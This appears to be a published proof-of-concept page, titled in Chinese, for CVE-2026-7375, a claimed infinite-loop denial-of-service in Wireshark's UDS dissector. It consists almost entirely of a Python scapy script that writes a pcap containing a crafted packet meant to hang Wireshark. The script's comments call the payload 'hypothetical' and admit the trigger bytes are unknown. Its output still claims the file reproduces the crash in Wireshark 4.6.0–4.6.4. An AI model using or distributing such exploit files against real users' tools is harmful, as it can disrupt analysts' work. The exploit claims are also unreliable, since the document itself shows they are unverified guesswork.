CVE-2026-7375 Wireshark UDS协议无限循环漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-7375 (Wireshark UDS Dissector Infinite Loop DoS) This script generates a pcap file with a malformed UDS packet structure. Opening the generated file in vulnerable Wireshark versions triggers the infinite loop. """ from scapy.all import * import sys def generate_poc(filename): # Crafting a raw packet that simulates a UDS (ISO-TP on TCP) stream # Note: The specific byte sequence triggering the loop varies by vulnerability details. # This payload is structured to potentially confuse length checks in dissectors. # Hypothetical malformed UDS payload # 0x22 (ReadDataByIdentifier) followed by data that might confuse the parser loop malicious_payload = bytes.fromhex("22F1860102030405060708090A0B0C0D0E0F") # Encapsulate in Ethernet/IP/TCP to simulate a network capture # Using a common port for diagnostic traffic or raw TCP ether = Ether(dst="00:11:22:33:44:55", src="66:77:88:99:aa:bb") ip = IP(src="192.168.1.10", dst="192.168.1.20") tcp = TCP(sport=50000, dport=13400, flags="PA", seq=1000, ack=2000) # Assemble the packet pkt = ether / ip / tcp / Raw(load=malicious_payload) # Save to pcap wrpcap(filename, [pkt]) print(f"[+] PoC file '{filename}' generated successfully.") print(f"[+] Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the DoS.") if __name__ == "__main__": generate_poc("cve_2026_7375_poc.pcap")